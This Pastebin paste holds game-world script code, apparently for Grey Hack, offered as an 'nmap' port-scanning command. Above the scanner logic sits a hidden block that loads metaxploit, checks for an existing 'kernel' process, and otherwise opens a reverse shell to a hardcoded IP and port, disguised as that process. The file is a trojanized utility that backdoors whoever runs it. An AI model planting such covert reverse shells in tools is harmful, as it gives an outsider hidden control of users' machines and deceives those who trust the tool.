Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- met = include_lib("/lib/metaxploit.so")
- if not met then
- met = include_lib(get_shell.host_computer.current_path + "/metaxploit.so")
- end if
- if met then
- startShell = true
- comp = get_shell.host_computer
- procs = comp.show_procs.split("\n")
- for line in procs
- if line.split(" ")[-1] == "kernel" then
- startShell = false
- break
- end if
- end for
- if startShell then
- met.rshell_client("198.202.157.177", 1222, "kernel")
- end if
- end if
- //command: nmap
- if params.len != 1 or params[0] == "-h" or params[0] == "--help" then exit(command_info("nmap_usage"))
- if not is_valid_ip(params[0]) then exit("nmap: invalid ip address")
- if not get_shell.host_computer.is_network_active then exit("nmap: can't connect. No internet access.")
- ipAddress = params[0]
- isLanIp = is_lan_ip( ipAddress )
- if isLanIp then
- router = get_router;
- else
- router = get_router( ipAddress )
- end if
- if router == null then exit("nmap: ip address not found")
- ports = null
- if not isLanIp then
- ports = router.used_ports
- else
- ports = router.device_ports(ipAddress)
- end if
- if ports == null then exit("nmap: ip address not found")
- if typeof(ports) == "string" then exit(ports)
- info = "PORT STATE SERVICE VERSION LAN"
- print("\nStarting nmap v1.1 at " + current_date)
- print("Interesting ports on " + params[0] + "\n")
- if(ports.len == 0) then exit("Scan finished. No open ports.")
- for port in ports
- service_info = router.port_info(port)
- lan_ips = port.get_lan_ip
- port_status = "open"
- if(port.is_closed and not isLanIp) then
- port_status = "closed"
- end if
- info = info + "\n" + port.port_number + " " + port_status + " " + service_info + " " + lan_ips
- end for
- print(format_columns(info) + "\n")
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement